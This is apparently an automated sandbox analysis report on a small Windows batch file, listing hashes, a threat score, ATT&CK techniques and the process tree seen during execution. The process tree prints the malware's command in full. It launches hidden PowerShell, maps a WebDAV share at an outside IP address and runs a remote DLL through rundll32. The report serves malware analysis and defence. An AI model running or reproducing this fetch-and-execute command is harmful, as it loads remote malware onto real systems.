13b9a918832001cbff2eb85b63924c25d8f4edf3d22e15a46f7efe52c96db2a9

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
14/07/2024, 14:40

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General

Target

240631439621623086.bat
Size

2KB
MD5

e8a0d76c535e80d80e55cb18bc6cfa51
SHA1

dc13de3c8d63f2b1be060be4efe581906d7d4a40
SHA256

13b9a918832001cbff2eb85b63924c25d8f4edf3d22e15a46f7efe52c96db2a9
SHA512

a3ed3722e3d242fa9b32815c5b92c175b4fd5628926715f6350df4c51f9c89c73258775604d9cf431bc570d28e87db97b3ce74b619b3a6ca2d46e5324d1f0306

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1148	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1148	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1148	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2536	wordpad.exe
2536	wordpad.exe
2536	wordpad.exe
2536	wordpad.exe
2536	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2680 wrote to memory of 2536	2680	cmd.exe	31
PID 2680 wrote to memory of 2536	2680	cmd.exe	31
PID 2680 wrote to memory of 2536	2680	cmd.exe	31
PID 2680 wrote to memory of 1148	2680	cmd.exe	32
PID 2680 wrote to memory of 1148	2680	cmd.exe	32
PID 2680 wrote to memory of 1148	2680	cmd.exe	32
PID 1148 wrote to memory of 2900	1148	powershell.exe	34
PID 1148 wrote to memory of 2900	1148	powershell.exe	34
PID 1148 wrote to memory of 2900	1148	powershell.exe	34
PID 1148 wrote to memory of 2912	1148	powershell.exe	35
PID 1148 wrote to memory of 2912	1148	powershell.exe	35
PID 1148 wrote to memory of 2912	1148	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\240631439621623086.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2680
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2536
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\537.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1148
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2900
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\537.dll entry
    3⤵
    PID:2912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1148-23-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/1148-24-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2680-18-0x00000000022C0000-0x00000000023C0000-memory.dmp

Filesize
1024KB

Download
memory/2680-17-0x00000000022C0000-0x00000000023C0000-memory.dmp

Filesize
1024KB

Download